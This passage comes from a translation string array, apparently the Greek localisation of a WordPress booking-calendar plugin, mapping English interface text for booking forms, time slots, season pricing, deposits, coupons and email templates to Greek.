selection of all checkboxes'=>'Μία τιμή από την λίστα %sΕπιλογές%s ή όρο %s για επιλογή από όλα τα checkboxes','required'=>'απαιτείται','One option per line'=>'Μία επιλογή ανά γραμμή','Titles of options'=>'Τίτλοι επιλογών','One title per line'=>'Μία επιλογή ανά γραμμή','One Value from %sOptions%s list'=>'Μία τιμή από τη λίστα %sΕπιλογές%s','Allow %smultiple%s selections'=>'Επιτρέπει %sπολλαπλές%s επιλογές','Set as %srequired%s'=>'Ορισμός ως %sαπαιτείται%s','Start Time - Text field'=>'Ώρα Έναρξης - Λίστα','Start Time'=>'Ώρα Έναρξης','Please note: this field only supports military time format %s(24 Hour Time)%s.'=>'Παρακαλώ σημειώστε: αυτό το πεδίο υποστηρίζεται μόνο στην μορφή %s(24 ώρες)%s.','You can also use the %s in the form.'=>'Μπορείτε επίσης να χρησιμοποιήσετε το %s μέσα στην φόρμα.','End Time'=>'Ώρα λήξης','Duration Time'=>'Διάρκεια Χρόνου','You must have this shortcode:%s in the booking form.'=>'Πρέπει να έχετε αυτόν τον κωδικό:%s στην φόρμα κράτησης.','Drop Down'=>'Πτυσσόμενη λίστα','Insert %s shortcode to prevent SPAM bookings.'=>'Εισαγωγή %s σύντομου κωδικού για την πρόληψη SPAM κρατήσεων.','Submit Button'=>'Κουμπί καταχώρισης','Times Fields'=>'Χρονικά πεδία','Time Slot List'=>'Λίστα χρονικού εύρους','Select the %s using the predefined %sTime List%s.'=>'Επιλέξτε το %s χρησιμοποιώντας την προκαθορισμένη%s Χρονική λίστα%s.','Time Slot'=>'Χρονικό εύρος','Please note, %sthe use of the time shortcode%s. If you select a date with some booked time slots, this time field will %sdisable booked times slots%s (set them as grayed).'=>'Παρακαλώ σημειώστε, %sη χρήση του σύντομου χρόνου%s. Αν επιλέξετε μια ημερομηνία με κάποια κράτηση με χρόνικό εύρος , αυτό το πεδίο θα %sΑπενεργοποίηση κράτηση με χρονικό εύρος%s (ορίσετε ως σκιασμένα).','Also some early versions of the IE do not support disabling of the options in the selectboxes.'=>'Επίσης, ορισμένες από τις πρώτες εκδόσεις του IE δεν υποστηρίζει την απενεργοποίηση των επιλογών στις λίστες επιλογών.','Even if visitor selects the booked timeslot, system will not allow them to make the booking.'=>'Ακόμη και αν ο επισκέπτης επιλέξει την κράτηση με χρονικό εύρος, το σύστημα δεν θα του επιτρέψει να κάνει την κράτηση.','Please note, in the %sOptions list%s you can use times in military time format %s(24 Hour Time)%s only.'=>'Παρακαλώ σημειώστε, μέσα στη %sΛίστα επιλογών%s μπορείτε να χρησιμοποιήσετε τη μορφή της ώρας %s(24 ώρες)%s μόνο.','If you use this shortcode, %syou can not use any other time shortcodes%s in the form.'=>'Αν χρησιμοποιήσετε αυτό το σύντομο κωδικό, %sδεν μπορείτε να χρησιμοποιήσετε οποιοδήποτε άλλο σύντομο κωδικό ώρας%s μέσα στη φόρμα.','night'=>'νύχτα','Checkbox(es)'=>'Πλαίσιο ελέγχου','This is the primary email field, which is used for sending emails to visitors.'=>'Αυτό είναι το πρωτεύον Email, το οποίο χρησιμοποιείται για την αποστολή Email στους επισκέπτες.','Radio Button(s)'=>'Κουμπί','It works only in %ssingle day selection%s mode.'=>'Δουλεύει μόνο σε κατάσταση %sεπιλογή απλής μέρας%s.','Enter %s in text field.'=>'Πληκτρολογήστε %s μέσα στο πεδίο κειμένου.','where %s – default calendar %s (you can select desired resource of calendar by inserting shortcode into page)%s'=>'όπου %s – προεπιλεγμένο ημερολόγιο %s (μπορείτε να επιλέξετε το επιθυμητό προϊόν κράτησης του ημερολογίου με την εισαγωγή σύντομου κωδικού μέσα στην σελίδα)%s','%s – calendar of booking resource with %s'=>'%s – ημερολόγιο από προϊόν κράτησης με %s','Time Slots'=>'Εϋρος χρόνου','%s - availability of booking resource, '=>'%s - Διαθεσιμότητα της πηγής κράτησης, ','Full cost of the booking.'=>'Πλήρες κόστος της κράτησης.','Cache Updated'=>'Ανανέωση Cache','Select Template'=>'Επιλέξτε πρότυπο φόρμας','Page'=>'Σελίδα','Please select check-in and check-out days!'=>'Παρακαλώ επιλέξτε ημέρες για check-in και check-out!','Nothing found message'=>'Τίποτα δεν βρέθηκε','URL of Search Results'=>'Διεύθυνση ιστοσελίδας από τα αποτελέσματα αναζήτησης','Please type the URL of the page %s(with %s shortcode in content)%s, where search results will show.'=>'Παρακαλώ πληκτρολογήστε τη διεύθυνση ιστοσελίδας από την σελίδα %s(με %s σύντομο κώδικα μέσα στο περιεχόμενο)%s, όπου τα αποτελέσματα αναζήτησης θα εμφανιστούν.','Limit available days from today'=>'Περιορισμός διαθέσιμων ημερών από σήμερα','Select number of available days in calendar start from today.'=>'Επιλέξτε αριθμό διαθέσιμων ημερών από σήμερα.','Unavailable time before / after booking'=>'Μη διαθέσιμος χρόνος πριν / μετά την κράτηση','This feature is applying only for bookings for specific timeslots, or if activated check in/out time option.'=>'Αυτή η δυνατότητα εφαρμόζεται μόνο για κρατήσεις για συγκεκριμένες χρονικές στιγμές, ή εάν είναι ενεργοποιημένη η επιλογή άφιξη/αναχώρηση.','Before booking'=>'Πριν την κράτηση','Select unavailable time interval.'=>'Επιλέξτε μη διαθέσιμο χρόνο.','After booking'=>'Μετά την κράτηση','Showing cost in date cell'=>'Εμφάνιση κόστους στο ημερολόγιο',' Check this box to display the %sdaily cost at the date cells%s in the calendar(s).'=>' Επιλέξτε αυτό το πλαίσιο για να εμφανίζεται το %sημερήσιο κόστος στο κελί της κάθε ημέρας%s μέσα στο ημερολόγιο.','Type your %scurrency symbol%s to display near daily cost in date cells. %sDocumentation on currency symbols%s'=>'Εισάγετε το δικό σας %sσύμβολο νομίσματος%s για να εμφανίζεται στο ημερολόγιο, δίπλα στο ημερήσιο κόστος. %sΟδηγίες για τα σύμβολα των νομισμάτων%s','Showing cost in tooltip'=>'Εμφάνιση κόστους σε αναδυόμενο κείμενο',' Check this box to display the daily cost with a tooltip when mouse hovers over each day on the calendar(s).'=>' Επιλέξτε αυτό το πλαίσιο για να εμφανίζεται το καθημερινό κόστος ως αναδυόμενο κείμενο όταν το ποντίκι περνάει πάνω από κάποια μέρα στο ημερολόγιο.','Type your %scost%s description'=>'Βάλτε το δικό σας τίτλο του %sκόστος%s','Custom Forms'=>'Χειροποίητη φόρμα','Configuration of availability for booking resources'=>'Ρύθμιση διαθεσιμότητας για τα δωμάτια','Show Children Resources'=>'Εμφάνιση παιδικών πηγών','Hide Children Resources'=>'Απόκρυψη παιδικών πηγών','Set Availability'=>'Ορίστε διαθεσιμότητα','Please reassign exist booking(s) from selected resource(s) to other resources or delete exist booking(s) from this resource(s). Otherwise you will have %slost bookings%s.'=>'Παρακαλώ αναθέστε εκ νέου τις υπάρχουσες κρατήσεις από τις επιλεγμένες πηγές ή διαγράψτε τις υπάρχουσες κρατήσεις από αυτή την πηγή. Διαφορετικά θα έχετε %sχαμένες κρατήσεις %s.','Resource Name'=>'Όνομα πηγής κράτησης','All days'=>'Όλες οι ημέρες','and %s on seasons:'=>'και %s στις σεζόν:','Hide season filters'=>'Απόκρυψη των φίλτρων σεζόν','Show all exist season filters'=>'Εμφάνιση όλων των υπάρχοντων φίλτρων σεζόν','Enabled'=>'Ενεργοποιημένα','Deposit type'=>'Τύπος κατάθεσης','of total cost'=>'συνολικού κόστους','as additional sum'=>'ένα πρόσθετο ποσό','Set Deposit'=>'Ορίστε ποσό κατάθεσης','deposit payment for booking resource'=>'κατάθεση πληρωμής για πηγή κράτησης','fixed total in'=>'σταθερό ποσό','Conditions'=>'Συνθήκες','Set Rates'=>'Ορίστε τιμές','Seasonal price'=>'Εποχιακή τιμή','Season'=>'Σεζόν','Enter seasonal rate(s) (cost diference in %s from standard cost %s or a fixed cost) of the booking resource (%s) or %sAdd a new seasonal filter%s'=>'Εισάγετε εποχιακό ποσοστό (διαφορετικό κόστος στο%s από το αρχικό κόστος %s ή ένα σταθερό κόστος) των πηγών κράτησης (%s) ή %s προσθέστε νέα εποχιακά φίλτρα%s','Set Valuation Days'=>'Ορίστε εκτιμώμενες μέρες','%s - definition of check-out date.'=>'%s - ορισμός ημερομηνίας αναχώρησης.','from the cost of 1 day '=>'από το κόστος μιας μέρας ','Set Rate'=>'Ορίστε τιμή','Set Deposit Amount'=>'Ορίστε ποσό κατάθεσης','Type filter name'=>'Πληκτρολογήστε όνομα φίλτρου','Weekdays'=>'Καθημερινές','Each day '=>'Κάθε μέρα ','on each day '=>'για κάθε μέρα ','On each '=>'Για ','on each '=>'για ','of every month '=>'για κάθε μήνα ','Create conditional days filter'=>'Δημιουργία ερωτήματος με κριτήρια ημερών','Select a %sDYNAMIC%s range of days with %s2 mouse clicks%s'=>'Επιλέξτε ένα %sΔΥΝΑΜΙΚΟ%s εύρος ημερών με %s2 κλικς%s','Type your %snumber of days for range selection%s'=>'Πληκτρολογήστε τον %sαριθμό ημερών για προεπιλεγμένο εύρος%s','Specific day(s) of week'=>'Συγκεκριμένη/ες ημέρα/ες της εβδομάδας','Start day of range'=>'Ημέρα έναρξης εύρους','Select your start day of range selection at week'=>'Επιλέξτε την ημέρα έναρξης του εύρους','Min'=>'Ελάχιστος','Max'=>'Μέγιστος','Select your %sminimum and maximum number of days for range selection%s'=>'Επιλέξτε %sελάχιστο και μέγιστο αριθμό ημερών για συγκεκριμένο εύρος%s','Type your %sspecific%s days, which can be selected by visitors, or leave this value empty. It can be several days separated by comma (example: %s) or by dash (example: %s, its the same like this: %s) or combination (example:%s, its the same like this: %s)'=>'Πληκτρολογήστε %sσυγκεκριμένες%s ημέρες, οι οποίες μπορούν να επιλεγούν από τους επισκέπτες, ή αφήστε αυτό το πεδίο κενό. Μπορείτε να πληκτρολογήσετε διάφορες ημέρες που διαχωρίζονται με κόμμα (παράδειγμα: %s) ή με παύλα (παράδειγμα: %s, είναι το ίδιο σαν αυτό: %s) ή συνδυασμό (παράδειγμα:%s, είναι το ίδιο σαν αυτό: %s)','Change over days as triangles'=>'Αλλαγή των ημερών ως τρίγωνα','Check this option, to show change over days as triangles. '=>'Ενεργοποιήστε αυτήν την επιλογή, για να εμφανίσετε την αλλαγή των ημερών ως τρίγωνα. ','Title of booked timeslot(s)'=>'Τίτλος μη διαθέσιμων ημερών','Type your %stitle%s, what will show in mouseover tooltip near booked timeslot(s)'=>'Πληκτρολογήστε το δικό σας %sτίτλο%s, που θα εμφανίζεται σε αναδυόμενο κείμενο στο ημερολόγιο, όταν περνάει ο κέρσορας πάνω απο μη διαθέσιμες ημέρες','Type your time format for emails and the booking table. %sDocumentation on time formatting%s'=>'Επιλέξτε την μορφή της ώρας για τα Emails και για τον πίνακα κρατήσεων. %sΟδηγίες για μορφή ώρας%s','Check this box to %sactivate%s auto-cancellation for pending, unpaid bookings.'=>'Επιλέξτε αυτό το πλαίσιο για %sενεργοποίηση%s της αυτόματης ακύρωσης για κρατήσεις που εκκρεμούν ή δεν έχουν πληρωθεί.','Cancel bookings older'=>'Ακύρωση κρατήσεις παλαιότερες','Cancel only pending, unpaid bookings, which are older than this selection.'=>'Ακυρώστε μόνο κρατήσεις που εκκρεμούν, ή δεν έχουν πληρωθεί, οι οποίες είναι παλαιότερες από αυτή την επιλογή.','Cancellation email sent'=>'Να σταλεί Email ακύρωσης','Check this box to %ssend%s cancellation email for this resource.'=>'Επιλέξτε αυτό το πλαίσιο για %sαποστολή%s Email ακύρωσης για αυτή την πηγή κράτησης.','Type the reason for %scancellation%s for the email template.'=>'Εισάγετε το λόγο για %sακύρωση%s για το πρωτότυπο Email.','Customization of email template, which is sending to Visitor after payment request'=>'Προσαρμογή στο πρότυπο Email, το οποίο στέλνει στον επισκέπτη μετά από αίτηση πληρωμής','Error! Please reset your check-in/check-out dates above.'=>'Σφάλμα! Παρακαλείστε να επαναφέρετε τις ημερομηνίες άφιξης/αναχώρησης.','The changing of payment status is failed'=>'Το αποτέλεσμα της πληρωμής απέτυχε','Manage Users'=>'Ρυθμίστε χρήστες','User Role'=>'Ρόλος χρήστη','delete configuration'=>'διαγραφή παραμετροποίησης','Select number of booking resources (single or parent) per page at Resource menu page'=>'Επιλέξτε τον αριθμό πηγών κράτησης (μονό ή οικογενειακό) ανά σελίδα','Select your default booking resource.'=>'Επιλέξτε την προεπιλεγμένη πηγή κράτησης.','delete all booking data'=>'διαγραφή όλων των δεδομένων για όλες τις κρατήσεις','Booking title'=>'Τίτλος κράτησης','Type %sdefault title of bookings%s in calendar view mode at Booking Listing page (You can use the shortcodes from the bottom form of Settings Fields page).'=>'Γράψτε τον %sτίτλο που θα έχει η κάθε κράτηση%s στην προβολή ημερολογίου στη σελίδα διαχείρισης κρατήσεων (Μπορείτε να χρησιμοποιήσετε κώδικα απο τη φόρμα χαμηλά στις ρυθμίσεις σελίδας).','Type %sdefault title of bookings%s in %stimeline at front-end side%s. You can use the shortcodes from the bottom form of Settings Fields page.'=>'Γράψτε τον %sτίτλο που θα έχει η κάθε κράτηση %s στο %sημερολόγιο που βλέπει ο επισκέπτης%s. Μπορείτε να χρησιμοποιήσετε κώδικα απο τη φόρμα χαμηλά στις ρυθμίσεις σελίδας.','Booking details in popover'=>'Λεπτομέρειες κράτησης σε αναδυόμενο παράθυρο','Check this box if you want to %sshow popover with booking details%s in timeline at %sfront-end%s side.'=>'Επιλέξτε αυτό το πλαίσιο εάν θέλετε να %sαναδύονται παράθυρα με λεπτομέρειες της κράτησης %s στην %sκύρια όψη %s που βλέπει ο επισκέπτης.','comma'=>'κόμμα','CSV data separator'=>'Διαχωριστής δεδομένων CSV','URL to edit bookings'=>'Διεύθυνση ιστοσελίδας για να επεξεργασία κράτησης','Type URL for %svisitors%s to edit bookings. You must insert %s shortcode into this page.'=>'Εισάγετε διεύθυνση ιστοσελίδας για %sεπισκέπτες%s για επεξεργασία κρατήσεων. Πρέπει να εισάγετε %s σύντομο κώδικα σε αυτήν την σελίδα.','Check this box if you want to change the booking hash after approval. When checked, visitor will not be able to edit or cancel the booking.'=>'Επιλέξτε αυτό το πλαίσιο αν θέλετε να αλλάξετε την διαχείριση της κράτησης μετά την έγκριση. Όταν επιλεγεί, ο επισκέπτης δεν θα είναι σε θέση να επεξεργαστεί ή να ακυρώσει την κράτηση.','Content of Booking Fields'=>'Περιεχόμενο των πεδίων κρατήσεων','Generate tag'=>'Δημιουργία ετικέτας','Content of booking fields data for email templates (%s-shortcode) and booking listing page'=>'Περιεχόμενο των πεδίων της φόρμας κράτησης για το πρότυπο Email (%s-σύντομος κώδικας) και σελίδα διαχείρισης κρατήσεων','Form Template'=>'Πρότυπο φόρμας','Standard Templates'=>'Σύνηθες πρότυπο','Advanced Templates'=>'Προχωρημένο πρότυπο','Wizard (several steps)'=>'Οδηγός (πολλά βήματα)','Time slots for different weekdays'=>'Εύρος χρόνου για διαφορετικές καθημερινές','Hints'=>'Συμβουλές','Reset Form'=>'Επαναφορά φόρμας','Upgrade to higher version'=>'Αναβάθμιση σε νεότερη έκδοση','No results found.'=>'Δεν βρέθηκαν αποτελέσματα.','Placeholder'=>'Κράτηση θέσης','Class'=>'Κλάση','The deposit cost of the booking.'=>'Το κόστος προκαταβολής της κράτησης.','Balance cost of the booking - difference between deposit and full cost.'=>'Υπόλοιπο κόστους της κράτησης - διαφορά μεταξύ προκαταβολής και πλήρες κόστους.','day(s)'=>'ημέρα(ες)','Search Availability Form'=>'Αναζήτηση στη φόρμα διαθεσιμότητας','Search Cache'=>'Αναζήτηση στην Cache','If you do not see search results at front-end side of your website, please check troubleshooting instruction %shere%s'=>'Αν δεν δείτε αποτελέσματα αναζήτησης στο τέλος της σελίδας, παρακαλώ ελέγξτε τις οδηγίες %sεδώ%s','Search availability'=>'Αναζήτηση διαθεσιμότητας','available'=>'διαθέσιμες','unavailable'=>'μη διαθέσιμες','Select %s days by activating specific season filter below or %sadd new season filter%s'=>'Επιλέξτε %s ημέρες με την ενεργοποίηση ειδικών φίλτρων σεζόν παρακάτω ή %s προσθέστε νέο φίλτρο σεζόν%s','Advanced Cost Settings'=>'Σύνθετες τιμές','Configure additional cost, which depend from selection of selectbox(es) and checkbox(es).'=>'Παραμετροποίηση στα επιπρόσθετα κόστη, τα οποία εξαρτώνται από τα επιλεγμένα κουτιά και πλαίσια.','Fields %s(selectbox(es) and checkbox(es))%s are shown here automatically if they exist in the %sbooking form%s.'=>'Τα πεδία %s(επιλεγμένα πλαίσια)%s εμφανίζονται εδώ αυτόματα αν υπάρχουν μέσα στην %sφόρμα κρατήσεων%s.','For example, if the original cost of the booking is %s, then after applying additional costs the total cost will be folowing'=>'Για παράδειγμα, αν το αρχικό κόστος της κράτησης είναι %s, τότε μετά την εφαρμογή επιπρόσθετου κόστους το συνολικό κόστος θα είναι το εξής','Enter percentage of the entire booking'=>'Πληκτρολογήστε το ποσοστό απο τη συνολική κράτηση','%s, then total cost will be (if selected 3 days) %s'=>'%s, τότε το συνολικό κόστος θα είναι (αν επιλεγούν 3 ημέρες) %s','Enter percentage as additional sum, which is based only on original cost and not full sum'=>'Εισάγετε ποσοστό ως πρόσθετο ποσό, το οποίο βασίζεται μόνο στο αρχικό κόστος και όχι σε ολόκληρο το ποσό','Please check more info about configuration of this cost settings on this %spage%s.'=>'Παρακαλώ ελέγξτε περισσότερες πληροφορίες σχετικά με τις ρυθμίσεις αυτού του κόστους για το θέμα αυτό στη %sσελίδα%s.','Deposit amount'=>'Ποσό προκαταβολής','of payment'=>'της πληρωμής','Show deposit payment form, only if difference between %sToday%s and %sCheck In%s days more than'=>'Εμφάνιση φόρμας κατάθεσης προκαταβολής, μόνο αν υπάρχει διαφορά μεταξύ %sΣήμερα%s και %sημέρας άφιξης%s περισσότερες ημέρες από','Show deposit payment form, only if %sCheck In%s day inside of this %sSeason Filter%s'=>'Εμφάνιση φόρμας κατάθεσης προκαταβολής, μόνο αν η ημέρα %sάφιξης%s είναι μέσα από %sφίλτρο Σεζόν%s','Any days'=>'Οποιεσδήποτε ημέρες','Deposit payment total'=>'Κατάθεση συνολικής προκαταβολής','Rates'=>'Τιμές','Add new cost'=>'Προσθήκη νέας τιμής','Cost setings at %stop have higher priority%s than other costs of same type at the %sbottom%s of the list.'=>'Οι ρυθμίσεις τιμών στην %sκορυφή έχουν υψηλότερη προτεραιότητα%s από ότι έχουν οι άλλες τιμές του ίδιου τύπου στο %sκάτω μέρος%s της λίστας.','Please create all %s terms firstly %s(from higher priority to lower)%s, then terms %s and after terms %s'=>'Παρακαλούμε δημιουργήστε όλους τους %s όρους πρώτα %s(από την υψηλότερη προτεραιότητα στη χαμηλότερη)%s, μετά τους όρους %s και μετά τους όρους %s','%s and %s terms have higher priority than a range %s days.'=>'Οι %s και %s όροι έχουν μεγαλύτερη προτεραιότητα από ότι μια σειρά %s ημερών.','Specific cost will take affect, only if it active (the box at the left side is checked) and if "Check In" (start) date belong to selected season filter or if set "Any days".'=>'Το συγκεκριμένο κόστος θα αλλάξει, μόνο αν είναι ενεργό (το κουτί στην αριστερή πλευρά είναι επιλεγμένο) και αν η ημερομηνία άφιξης υπάρχει στο επιλεγμένο φίλτρο (σεζόν) ή έχει οριστεί "Οποιεσδήποτε ημέρες".',' for all days!'=>' για όλες τις ημέρες!','per 1 day'=>'για μια ημέρα','Additional cost in %s per 1 day'=>'Επιπρόσθετο κόστος %s για κάθε 1 ημέρα','Costs and Rates Settings'=>'Ρυθμίσεις τιμών','Specific Dates Filter'=>'Φίλτρο συγκεκριμένων ημερονηνιών','Conditional Dates Filter'=>'Εξειδικευμένο φίλτρο ημερομηνιών','October'=>'Οκτώμβριος','Oct'=>'Οκτ','No days'=>'Δεν υπάρχουν ημέρες','Standard booking resource cost'=>'Σύνηθες κόστος προϊόντος κράτησης','Total booking resource cost'=>'Συνολικό κόστος προϊόντος κράτησης','Apartment#1'=>'Διαμέρισμα#1','Apartment#2'=>'Διαμέρισμα#2','Apartment#3'=>'Διαμέρισμα#3','Any day of week'=>'Οποιαδήποτε ημέρα της εβδομάδας','Check-in time'=>'Ώρα άφιξης','Type your %sCheck-in%s time of booking'=>'Εισάγετε ώρα %sάφιξης%s της κράτησης','Check-Out time'=>'Ώρα αναχώρησης','Type your %sCheck-Out%s time of booking'=>'Εισάγετε ώρα %sαναχώρησης%s της κράτησης','Total cost'=>'Συνολικό κόσοτς','In-Progress'=>'Βρίσκεται σε εξέλιξη','Refunded'=>'Επιστράφηκαν τα χρήματα','Send payment request to visitor'=>'Αποστολή αiτήματος πληρωμής στον πελάτη','Save cost'=>'Αποθήκευση τιμής','%sYou do not have permissions for this booking resources.%s'=>'%sΔεν έχετε δικαιώματα για αυτά τα προϊόντα κράτησης.%s','%sNo this booking resources.%s'=>'%sΌχι αυτά τα προϊόντα κράτησης.%s','Default booking resource'=>'Προεπιλεγμένο προϊόν κράτησης','Resources number per page'=>'Αριθμός προϊόντων κράτησης ανά σελίδα','Reset Booking Form and Content of Booking Fields Form'=>'Επαναφορά φόρμας κράτησης και περιεχομένου των πεδίων κράτησης','%s - inserting new line'=>'%s - εισαγωγή νέας γραμμής','You can use any %sHTML tags%s in the booking form. Please use the HTML tags carefully. Be sure, that all "open" tags (like %s) are closed (like this %s).'=>'Μπορείτε να χρησιμοποιήσετε οποιοδήποτε %sHTML tags%s στην φόρμα κράτησης. Παρακαλώ χρησιμοποιήστε HTML tags προσεκτικά. Σιγουρευτείτε, πως όλα τα "ανοιχτά" tags (όπως %s) είναι κλειστά (όπως αυτό %s).','You can insert several calendars of different resources into the form allowing you to book several resources during one booking process.'=>'Μπορείτε να τοποθετήσετε πολλά ημερολόγια από διαφορετικά προϊόντα κράτησης σε μορφή που σας επιτρέπει να κλείσετε αρκετά προϊόντα κράτησης κατά τη διάρκεια μιας διαδικασίας κράτησης.','Standard'=>'Κανονικό','Presidential Suite'=>'Προεδρική Σουίτα','Royal Villa'=>'Royal Villa','Auto-cancel bookings'=>'Αυτόματη ακύρωση κράτησης','Important!'=>'Σημαντικό!','Priority'=>'Προτεραιότητα','Setting coupons for discount'=>'Ρυθμίσεις κουπονιών για έκπτωση','Bulk Actions'=>'Μαζικές ενέργειες','Coupon Code'=>'Κωδικός Κουπονιού','Number of usage'=>'Αριθμός χρήσης','Coupon'=>'Κουπόνι','Enter number of fixed or percentage savings.'=>'Πληκτρολογήστε σταθερό αριθμό ή ποσοστό.','Expiration Date'=>'Ημερομηνία Λήξης','Minimum Booking Cost'=>'Ελάχιστο Κόστος Κράτησης','Maximum number of usage'=>'Μέγιστος αριθμός χρήσης','Use these shortcodes for customization: '=>'Χρησιμοποιήστε αυτούς τους σύντομους κωδικούς για την προσαρμογή: ','%s - search inside posts/pages which are part of this category, '=>'%s - Αναζήτηση εντός των δημοσιεύσεων / σελίδων που αποτελούν μέρος αυτής της κατηγορίας, ','%s - search inside posts/pages which have this tag, '=>'%s - αναζήτηση μέσα στις δημοσιεύσεις / σελίδες που έχουν αυτήν την ετικέτα, ','%s - check-in date, '=>'%s - check-in ημερομηνία, ','%s - check-out date, '=>'%s - check-out ημερομηνία, ','%s - search button, '=>'%s - κουμπί αναζήτησης, ','%s - link to the page with booking form, '=>'%s - Σύνδεση σελίδας με την φόρμα κρατήσεων, ','Coupons'=>'Κουπόνια','Season Filters'=>'Φίλτρα σεζόν','Processing'=>'Επεξεργασία','HTML'=>'HTML','Reset to default form'=>'Επαναφορά τρέχουσας Φόρμας','Standard Fields'=>'Αρχικά πεδία','Text'=>'Κείμενο','Textarea'=>'Περιοχή κειμένου','Advanced Fields'=>'Προχωρημένα πεδία','Name'=>'Όνομα','Edit'=>'Διαμόρφωση','Remove'=>'Αφαίρεση','Shortcodes'=>'Σύντομοι κωδικοί','You can generate the form fields for your form (at the left side) by selection specific field in the above selectbox.'=>'Μπορείτε να δημιουργήσετε τα πεδία της φόρμας για τη φόρμα σας (στην αριστερή πλευρά) με επιλογή συγκεκριμένο πεδίο από την παραπάνω λίστα.','Please read more about the booking form fields configuration %shere%s.'=>'Παρακαλώ διαβάστε περισσότερα σχετικά με την παραμετροποίηση στις φόρμες κρατήσεων %sεδώ%s.','Default Form Templates'=>'Πρότυπο προεπιλεγμένης φόρμας','You can reset your active form template by selecting default %sform template%s at the top toolbar. Please select the form template and click on %sReset%s button for resetting only active form (Booking Form or Content of Booking Fields form). Click on %sBoth%s button if you want to reset both forms: Booking Form and Content of Booking Fields form.'=>'Μπορείτε να επαναφέρετε την ενεργή σας φόρμα (πρότυπο) επιλέγοντας προεπιλογή %sΦόρμα πρότυπο%s στο πάνω μέρος της μπάρας εργαλείων. Παρακαλώ επιλέξτε την φόρμα πρότυπο και κάντε κλικ στο κουμπί %sΕπαναφορά%s για την επαναφορά μόνο στις ενεργές φόρμες (Φόρμα κράτησης ή Περιεχόμενο των πεδίων κράτησης στην φόρμα). Κλικ στο κουμπί %sΚαι τα δύο%s εάν θέλετε επαναφορά και στις 2 φόρμες: Φόρμα κρατήσεων και Περιεχόμενο των πεδίων κράτησης στην φόρμα.','Label'=>'Ετικέτα','Note:'=>'Σημείωση:','Auto cancellation / auto approval of bookings'=>'Αυτόματη ακύρωση / αυτόματη έγκριση των κρατήσεων','Booking Form'=>'Φόρμα Κράτησης','Other'=>'Άλλο','Note!'=>'Σημείωση!','All'=>'Όλα','Default Form'=>'Προεπιλεγμένη φόρμα','First option title'=>'Πρώτη επιλογή Τίτλου','Please Select'=>'Παρακαλώ επιλέξτε','Please leave it empty if you want to skip it.'=>'Παρακαλώ αφήστε το κενό εάν θέλετε να το παρακάμψετε.','Search form'=>'Φόρμα αναζήτησης','Search results'=>'Αποτελέσματα αναζήτησης','Check this box to show search results on other page'=>'Επιλέξτε αυτό το πλαίσιο για να δείξει τα αποτελέσματα της αναζήτησης σε άλλη σελίδα','Type the message, when nothing found.'=>'Πληκτρολογήστε το μήνυμα όταν δεν βρεθεί τίποτα.','Type IDs of the users (separated by comma ",") for searching availability only for these users, or leave it blank for searching for all users.'=>'Εισάγετε IDs χρηστών (διαχωρίζοντας με κόμμα ",") για την αναζήτηση διαθεσιμότητας μόνο για αυτούς τους χρήστες, ή αφήστε το κενό για την αναζήτηση σε όλους τους χρήστες.','Edit Booking'=>'Τροποποίηση κράτησης','The content of field %sURL to edit bookings%s on the %sgeneral booking settings page%s must link to this page'=>'Το περιεχόμενο του πεδίου %sURL για διαμόρφωση κρατήσεων%s στη %sσελίδα γενικές ρυθμίσεις κρατήσεων%s πρέπει να συνδεθούν σε αυτή τη σελίδα','Email templates, which use shortcodes: %s, will be linked to this page'=>'Email πρότυπα, τα οποία χρησιμοποιούν σύντομους κωδικούς: %s, θα συνδεθεί με αυτή τη σελίδα','Saved'=>'Αποθηκεύτηκε','The reservation has been modified'=>'Η κράτηση έχει τροποποιηθεί','The reservation %s for: %s has been modified. %sYou can edit this booking on this page: %s Thank you, %s'=>'Η κράτηση %s για: %s έχει τροποποιηθεί. %sΜπορείτε να τροποποιήσετε αυτήν την κράτηση σε αυτή την σελίδα: %s Ευχαριστώ, %s','Booked Times:'=>'Ώρες κρατήσεων:','This booking canceled because we did not receive payment and the administrator did not approve it.'=>'Αυτή η κράτηση ακυρώθηκε διότι δεν λάβαμε την πληρωμή και ο διαχειριστής δεν την ενέκρινε.','You need to make payment for this reservation'=>'Θα πρέπει να κάνετε την πληρωμή για την κράτηση','You need to make payment %s for reservation %s at %s. %s Please make payment on this page: %s Thank you, %s'=>'Θα πρέπει να προχωρήσετε την πληρωμή %s για την κράτηση %s στο %s. %s Παρακαλώ κάντε την πληρωμή σε αυτήν την σελίδα: %s Ευχαριστώ, %s','Configuration in several languages'=>'Διαμόρφωση σε διάφορες γλώσσες','Values'=>'Τιμές','TimeLine'=>'Χρονοδιάγραμμα','Only Form'=>'Μόνο φόρμα','Select start date'=>'Επιλέξτε ημέρα έναρξης','Top'=>'Κορυφή','Middle'=>'Μέση','Bottom'=>'Βάση','Enable / Disable'=>'Ενεργοποίηση / Απενεργοποίηση','Email Address'=>'Διεύθυνση Email','optional'=>'προαιρετικό','Email Heading'=>'Τίτλος Email','Type your email message content. '=>'Αναγράψτε το περιεχόμενο του Email σας. ','Email Footer Text'=>'Κείμενο υποσέλιδου Email','Email template'=>'Πρότυπο Email','Choose email template.'=>'Επιλέξτε πρότυπο Email.','Plain (without styles)'=>'Απλό (χωρίς στιλ)','Standard 1 column'=>'Σταθερά 1 στήλη','Base Color'=>'Βασικό χρώμα','Default color'=>'Προκαθορισμένο χρώμα','Background Color'=>'Χρώμα παρασκηνίου','The background color for email templates.'=>'Το χρώμα παρασκηνίου για πρότυπο Email.','Email Body Background Color'=>'Χρώμα παρασκηνίου για σώμα Email','The main body background color for email templates.'=>'Το κυρίως χρώμα παρασκηνίου για πρότυπα Email.','Email Body Text Colour'=>'Χρώμα κειμένου Email','Email format'=>'Μορφή Email','Choose which format of email to send.'=>'Επιλέξτε ποια μορφή Email να σταλεί.','Plain text'=>'Απλό κείμενο','Header / Footer'=>'Επικεφαλίδα / Υποσέλιδο','Email Styles'=>'Στυλ Email','Send Test Email'=>'Στείλτε δοκιμαστικό Email','Email sent to '=>'Email απεστάλη σε ','New'=>'Νέο','admin'=>'διαχειριστής','visitor'=>'επισκέπτης','Email is sending to Admin after creation of booking.'=>'Το Email στέλνεται στο διαχειριστή μετά τη δημιουργία της κράτησης.','Email is sending to Visitor after creation of booking.'=>'Το Email στέλνεται στον επισκέπτη μετά τη δημιουργία της κράτησης.','Add New Field'=>'Προσθέστε νέο πεδίο','Select'=>'Επιλέξτε','Form Field Configuration'=>'Ρυθμίσεις πεδίων φόρμας','Resource #1'=>'Πηγή κράτησης #1','Resource #2'=>'Πηγή κράτησης #2','Resource #3'=>'Πηγή κράτησης #3','Show availability in tooltip'=>'Εμφάνιση διαθεσιμότητας σε αναδυόμενο κείμενο','Check this box to display the available number of booking 